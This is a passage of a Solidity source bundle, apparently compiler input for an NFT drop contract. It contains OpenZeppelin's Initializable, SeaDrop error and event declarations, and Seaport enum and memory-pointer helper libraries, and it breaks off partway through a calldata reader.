{ERC1967Proxy-constructor}.\n \n CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n \n [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n \n An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n \n [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n /\nabstract contract Initializable {\n /\n @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n /\n uint8 private _initialized;\n\n /\n @dev Indicates that the contract is in the process of being initialized.\n /\n bool private _initializing;\n\n /\n @dev Triggered when the contract has been initialized or reinitialized.\n /\n event Initialized(uint8 version);\n\n /\n @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n \n Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n \n Emits an {Initialized} event.\n /\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) \|\| (address(this).code.length == 0 && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /\n @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n \n A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n \n When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n \n Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n \n WARNING: setting the version to 255 will prevent any future reinitialization.\n \n Emits an {Initialized} event.\n /\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /\n @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n /\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /\n @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n \n Emits an {Initialized} event the first time it is successfully executed.\n /\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /\n @dev Returns the highest version that has been initialized. See {reinitializer}.\n /\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /\n @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n /\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n" }, "src/lib/SeaDropErrorsAndEvents.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { CreatorPayout, PublicDrop } from \"./ERC721SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /\n @notice The SeaDrop token types, emitted as part of\n * `event SeaDropTokenDeployed`.\n /\n enum SEADROP_TOKEN_TYPE {\n ERC721_STANDARD,\n ERC721_CLONE,\n ERC721_UPGRADEABLE,\n ERC1155_STANDARD,\n ERC1155_CLONE,\n ERC1155_UPGRADEABLE\n }\n\n /\n @notice An event to signify that a SeaDrop token contract was deployed.\n /\n event SeaDropTokenDeployed(SEADROP_TOKEN_TYPE tokenType);\n\n /\n @notice Revert with an error if the function selector is not supported.\n /\n error UnsupportedFunctionSelector(bytes4 selector);\n\n /\n @dev Revert with an error if the drop stage is not active.\n /\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /\n @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n /\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /\n @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n /\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /\n @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n /\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total,\n uint256 maxTokenSupplyForStage\n );\n\n /\n @dev Revert if the fee recipient is the zero address.\n /\n error FeeRecipientCannotBeZeroAddress();\n\n /\n @dev Revert if the fee recipient is not already included.\n /\n error FeeRecipientNotPresent();\n\n /\n @dev Revert if the fee basis points is greater than 10_000.\n /\n error InvalidFeeBps(uint256 feeBps);\n\n /\n @dev Revert if the fee recipient is already included.\n /\n error DuplicateFeeRecipient();\n\n /\n @dev Revert if the fee recipient is restricted and not allowed.\n /\n error FeeRecipientNotAllowed(address got);\n\n /\n @dev Revert if the creator payout address is the zero address.\n /\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /\n @dev Revert if the creator payouts are not set.\n /\n error CreatorPayoutsNotSet();\n\n /\n @dev Revert if the creator payout basis points are zero.\n /\n error CreatorPayoutBasisPointsCannotBeZero();\n\n /\n @dev Revert if the total basis points for the creator payouts\n * don't equal exactly 10_000.\n /\n error InvalidCreatorPayoutTotalBasisPoints(\n uint256 totalReceivedBasisPoints\n );\n\n /\n @dev Revert if the creator payout basis points don't add up to 10_000.\n /\n error InvalidCreatorPayoutBasisPoints(uint256 totalReceivedBasisPoints);\n\n /\n @dev Revert with an error if the allow list proof is invalid.\n /\n error InvalidProof();\n\n /\n @dev Revert if a supplied signer address is the zero address.\n /\n error SignerCannotBeZeroAddress();\n\n /\n @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n /\n error SignerNotPresent();\n\n /\n @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n /\n error PayerNotPresent();\n\n /\n @dev Revert with an error if a payer is already included in mapping\n * when adding.\n /\n error DuplicatePayer();\n\n /\n @dev Revert with an error if a signer is already included in mapping\n * when adding.\n /\n error DuplicateSigner();\n\n /\n @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n /\n error PayerNotAllowed(address got);\n\n /\n @dev Revert if a supplied payer address is the zero address.\n /\n error PayerCannotBeZeroAddress();\n\n /\n @dev Revert if the start time is greater than the end time.\n /\n error InvalidStartAndEndTime(uint256 startTime, uint256 endTime);\n\n /\n @dev Revert with an error if the signer payment token is not the same.\n /\n error InvalidSignedPaymentToken(address got, address want);\n\n /\n @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n /\n error InvalidSignedMintPrice(\n address paymentToken,\n uint256 got,\n uint256 minimum\n );\n\n /\n @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n /\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /\n @dev Revert with an error if supplied signed\n * maxTotalMintableByWalletPerToken is greater than the maximum\n * specified.\n /\n error InvalidSignedMaxTotalMintableByWalletPerToken(\n uint256 got,\n uint256 maximum\n );\n\n /\n @dev Revert with an error if the fromTokenId is not within range.\n /\n error InvalidSignedFromTokenId(uint256 got, uint256 minimum);\n\n /\n @dev Revert with an error if the toTokenId is not within range.\n /\n error InvalidSignedToTokenId(uint256 got, uint256 maximum);\n\n /\n @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n /\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n\n /\n @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n /\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /\n @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n /\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n\n /\n @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n /\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /\n @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n /\n error SignedMintsMustRestrictFeeRecipients();\n\n /\n @dev Revert with an error if a signature for a signed mint has already\n * been used.\n /\n error SignatureAlreadyUsed();\n\n /\n @dev Revert with an error if the contract has no balance to withdraw.\n /\n error NoBalanceToWithdraw();\n\n /\n @dev Revert with an error if the caller is not an allowed Seaport.\n /\n error InvalidCallerOnlyAllowedSeaport(address caller);\n\n /\n @dev Revert with an error if the order does not have the ERC1155 magic\n * consideration item to signify a consecutive mint.\n /\n error MustSpecifyERC1155ConsiderationItemForSeaDropMint();\n\n /\n @dev Revert with an error if the extra data version is not supported.\n /\n error UnsupportedExtraDataVersion(uint8 version);\n\n /\n @dev Revert with an error if the extra data encoding is not supported.\n /\n error InvalidExtraDataEncoding(uint8 version);\n\n /\n @dev Revert with an error if the provided substandard is not supported.\n /\n error InvalidSubstandard(uint8 substandard);\n\n /\n @dev Revert with an error if the implementation contract is called without\n * delegatecall.\n /\n error OnlyDelegateCalled();\n\n /\n @dev Revert with an error if the provided allowed Seaport is the\n * zero address.\n /\n error AllowedSeaportCannotBeZeroAddress();\n\n /\n @dev Emit an event when allowed Seaport contracts are updated.\n /\n event AllowedSeaportUpdated(address[] allowedSeaport);\n\n /\n @dev An event with details of a SeaDrop mint, for analytical purposes.\n \n @param payer The address who payed for the tx.\n * @param dropStageIndex The drop stage index. Items minted through\n * public mint have dropStageIndex of 0\n /\n event SeaDropMint(address payer, uint256 dropStageIndex);\n\n /\n @dev An event with updated allow list data.\n \n @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n /\n event AllowListUpdated(\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /\n @dev An event with updated drop URI.\n /\n event DropURIUpdated(string newDropURI);\n\n /\n @dev An event with the updated creator payout address.\n /\n event CreatorPayoutsUpdated(CreatorPayout[] creatorPayouts);\n\n /\n @dev An event with the updated allowed fee recipient.\n /\n event AllowedFeeRecipientUpdated(\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /\n @dev An event with the updated signer.\n /\n event SignerUpdated(address indexed signer, bool indexed allowed);\n\n /\n @dev An event with the updated payer.\n /\n event PayerUpdated(address indexed payer, bool indexed allowed);\n}\n" }, "lib/seaport/lib/seaport-types/src/lib/ConsiderationEnums.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nenum OrderType {\n // 0: no partial fills, anyone can execute\n FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n PARTIAL_RESTRICTED,\n\n // 4: contract order type\n CONTRACT\n}\n\nenum BasicOrderType {\n // 0: no partial fills, anyone can execute\n ETH_TO_ERC721_FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n ETH_TO_ERC721_PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n ETH_TO_ERC721_FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 4: no partial fills, anyone can execute\n ETH_TO_ERC1155_FULL_OPEN,\n\n // 5: partial fills supported, anyone can execute\n ETH_TO_ERC1155_PARTIAL_OPEN,\n\n // 6: no partial fills, only offerer or zone can execute\n ETH_TO_ERC1155_FULL_RESTRICTED,\n\n // 7: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 8: no partial fills, anyone can execute\n ERC20_TO_ERC721_FULL_OPEN,\n\n // 9: partial fills supported, anyone can execute\n ERC20_TO_ERC721_PARTIAL_OPEN,\n\n // 10: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC721_FULL_RESTRICTED,\n\n // 11: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 12: no partial fills, anyone can execute\n ERC20_TO_ERC1155_FULL_OPEN,\n\n // 13: partial fills supported, anyone can execute\n ERC20_TO_ERC1155_PARTIAL_OPEN,\n\n // 14: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC1155_FULL_RESTRICTED,\n\n // 15: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 16: no partial fills, anyone can execute\n ERC721_TO_ERC20_FULL_OPEN,\n\n // 17: partial fills supported, anyone can execute\n ERC721_TO_ERC20_PARTIAL_OPEN,\n\n // 18: no partial fills, only offerer or zone can execute\n ERC721_TO_ERC20_FULL_RESTRICTED,\n\n // 19: partial fills supported, only offerer or zone can execute\n ERC721_TO_ERC20_PARTIAL_RESTRICTED,\n\n // 20: no partial fills, anyone can execute\n ERC1155_TO_ERC20_FULL_OPEN,\n\n // 21: partial fills supported, anyone can execute\n ERC1155_TO_ERC20_PARTIAL_OPEN,\n\n // 22: no partial fills, only offerer or zone can execute\n ERC1155_TO_ERC20_FULL_RESTRICTED,\n\n // 23: partial fills supported, only offerer or zone can execute\n ERC1155_TO_ERC20_PARTIAL_RESTRICTED\n}\n\nenum BasicOrderRouteType {\n // 0: provide Ether (or other native token) to receive offered ERC721 item.\n ETH_TO_ERC721,\n\n // 1: provide Ether (or other native token) to receive offered ERC1155 item.\n ETH_TO_ERC1155,\n\n // 2: provide ERC20 item to receive offered ERC721 item.\n ERC20_TO_ERC721,\n\n // 3: provide ERC20 item to receive offered ERC1155 item.\n ERC20_TO_ERC1155,\n\n // 4: provide ERC721 item to receive offered ERC20 item.\n ERC721_TO_ERC20,\n\n // 5: provide ERC1155 item to receive offered ERC20 item.\n ERC1155_TO_ERC20\n}\n\nenum ItemType {\n // 0: ETH on mainnet, MATIC on polygon, etc.\n NATIVE,\n\n // 1: ERC20 items (ERC777 and ERC20 analogues could also technically work)\n ERC20,\n\n // 2: ERC721 items\n ERC721,\n\n // 3: ERC1155 items\n ERC1155,\n\n // 4: ERC721 items where a number of tokenIds are supported\n ERC721_WITH_CRITERIA,\n\n // 5: ERC1155 items where a number of ids are supported\n ERC1155_WITH_CRITERIA\n}\n\nenum Side {\n // 0: Items that can be spent\n OFFER,\n\n // 1: Items that must be received\n CONSIDERATION\n}\n" }, "lib/seaport/lib/seaport-types/src/helpers/PointerLibraries.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ntype CalldataPointer is uint256;\n\ntype ReturndataPointer is uint256;\n\ntype MemoryPointer is uint256;\n\nusing CalldataPointerLib for CalldataPointer global;\nusing MemoryPointerLib for MemoryPointer global;\nusing ReturndataPointerLib for ReturndataPointer global;\n\nusing CalldataReaders for CalldataPointer global;\nusing ReturndataReaders for ReturndataPointer global;\nusing MemoryReaders for MemoryPointer global;\nusing MemoryWriters for MemoryPointer global;\n\nCalldataPointer constant CalldataStart = CalldataPointer.wrap(0x04);\nMemoryPointer constant FreeMemoryPPtr = MemoryPointer.wrap(0x40);\nuint256 constant IdentityPrecompileAddress = 0x4;\nuint256 constant OffsetOrLengthMask = 0xffffffff;\nuint256 constant _OneWord = 0x20;\nuint256 constant _FreeMemoryPointerSlot = 0x40;\n\n/// @dev Allocates `size` bytes in memory by increasing the free memory pointer\n/// and returns the memory pointer to the first byte of the allocated region.\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction malloc(uint256 size) pure returns (MemoryPointer mPtr) {\n assembly {\n mPtr := mload(_FreeMemoryPointerSlot)\n mstore(_FreeMemoryPointerSlot, add(mPtr, size))\n }\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction getFreeMemoryPointer() pure returns (MemoryPointer mPtr) {\n mPtr = FreeMemoryPPtr.readMemoryPointer();\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction setFreeMemoryPointer(MemoryPointer mPtr) pure {\n FreeMemoryPPtr.write(mPtr);\n}\n\nlibrary CalldataPointerLib {\n function lt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(CalldataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `cdPtr + headOffset` to a calldata.\n /// pointer `cdPtr` must point to some parent object with a dynamic\n /// type's head stored at `cdPtr + headOffset`.\n function pptr(\n CalldataPointer cdPtr,\n uint256 headOffset\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(\n cdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `cdPtr` to a calldata pointer.\n /// `cdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(cdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the calldata pointer one word after `cdPtr`.\n function next(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the calldata pointer `_offset` bytes after `cdPtr`.\n function offset(\n CalldataPointer cdPtr,\n uint256 _offset\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from calldata starting at `src` to memory at\n /// `dst`.\n function copy(\n CalldataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n calldatacopy(dst, src, size)\n }\n }\n}\n\nlibrary ReturndataPointerLib {\n function lt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(ReturndataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `rdPtr + headOffset` to a returndata\n /// pointer. `rdPtr` must point to some parent object with a dynamic\n /// type's head stored at `rdPtr + headOffset`.\n function pptr(\n ReturndataPointer rdPtr,\n uint256 headOffset\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(\n rdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `rdPtr` to a returndata pointer.\n /// `rdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(rdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the returndata pointer one word after `cdPtr`.\n function next(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the returndata pointer `_offset` bytes after `cdPtr`.\n function offset(\n ReturndataPointer rdPtr,\n uint256 _offset\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from returndata starting at `src` to memory at\n /// `dst`.\n function copy(\n ReturndataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n returndatacopy(dst, src, size)\n }\n }\n}\n\nlibrary MemoryPointerLib {\n function copy(\n MemoryPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal view {\n assembly {\n let success := staticcall(\n gas(),\n IdentityPrecompileAddress,\n src,\n size,\n dst,\n size\n )\n if or(iszero(returndatasize()), iszero(success)) {\n revert(0, 0)\n }\n }\n }\n\n function lt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(MemoryPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n function hash(\n MemoryPointer ptr,\n uint256 length\n ) internal pure returns (bytes32 _hash) {\n assembly {\n _hash := keccak256(ptr, length)\n }\n }\n\n /// @dev Returns the memory pointer one word after `mPtr`.\n function next(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _OneWord)\n }\n }\n\n /// @dev Returns the memory pointer `_offset` bytes after `mPtr`.\n function offset(\n MemoryPointer mPtr,\n uint256 _offset\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _offset)\n }\n }\n\n /// @dev Resolves a pointer at `mPtr + headOffset` to a memory\n /// pointer. `mPtr` must point to some parent object with a dynamic\n /// type's pointer stored at `mPtr + headOffset`.\n function pptr(\n MemoryPointer mPtr,\n uint256 headOffset\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.offset(headOffset).readMemoryPointer();\n }\n\n /// @dev Resolves a pointer stored at `mPtr` to a memory pointer.\n /// `mPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.readMemoryPointer();\n }\n}\n\nlibrary CalldataReaders {\n /// @dev Reads the value at `cdPtr` and applies a mask to return only the\n /// last 4 bytes.\n function readMaskedUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n value = cdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `cdPtr` in calldata.\n function readBool(\n CalldataPointer cdPtr\n ) internal pure returns (bool value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the address at `cdPtr` in calldata.\n function readAddress(\n CalldataPointer cdPtr\n ) internal pure returns (address value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `cdPtr` in calldata.\n function readBytes1(\n CalldataPointer cdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `cdPtr` in calldata.\n function readBytes2(\n CalldataPointer cdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `cdPtr` in calldata.\n function readBytes3(\n CalldataPointer cdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `cdPtr` in calldata.\n function readBytes4(\n CalldataPointer cdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `cdPtr` in calldata.\n function readBytes5(\n CalldataPointer cdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `cdPtr` in calldata.\n function readBytes6(\n CalldataPointer cdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `cdPtr` in calldata.\n function readBytes7(\n CalldataPointer cdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `cdPtr` in calldata.\n function readBytes8(\n CalldataPointer cdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `cdPtr` in calldata.\n function readBytes9(\n CalldataPointer cdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `cdPtr` in calldata.\n function readBytes10(\n CalldataPointer cdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `cdPtr` in calldata.\n function readBytes11(\n CalldataPointer cdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `cdPtr` in calldata.\n function readBytes12(\n CalldataPointer cdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `cdPtr` in calldata.\n function readBytes13(\n CalldataPointer cdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `cdPtr` in calldata.\n function readBytes14(\n CalldataPointer cdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `cdPtr` in calldata.\n function readBytes15(\n CalldataPointer cdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `cdPtr` in calldata.\n function readBytes16(\n CalldataPointer cdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `cdPtr` in calldata.\n function readBytes17(\n CalldataPointer cdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `cdPtr` in calldata.\n function readBytes18(\n CalldataPointer cdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `cdPtr` in calldata.\n function readBytes19(\n CalldataPointer cdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `cdPtr` in calldata.\n function readBytes20(\n CalldataPointer cdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `cdPtr` in calldata.\n function readBytes21(\n CalldataPointer cdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `cdPtr` in calldata.\n function readBytes22(\n CalldataPointer cdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `cdPtr` in calldata.\n function readBytes23(\n CalldataPointer cdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `cdPtr` in calldata.\n function readBytes24(\n CalldataPointer cdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `cdPtr` in calldata.\n function readBytes25(\n CalldataPointer cdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `cdPtr` in calldata.\n function readBytes26(\n CalldataPointer cdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `cdPtr` in calldata.\n function readBytes27(\n CalldataPointer cdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `cdPtr` in calldata.\n function readBytes28(\n CalldataPointer cdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `cdPtr` in calldata.\n function readBytes29(\n CalldataPointer cdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `cdPtr` in calldata.\n function readBytes30(\n CalldataPointer cdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `cdPtr` in calldata.\n function readBytes31(\n CalldataPointer cdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `cdPtr` in calldata.\n function readBytes32(\n CalldataPointer cdPtr\n ) internal pure returns (bytes32 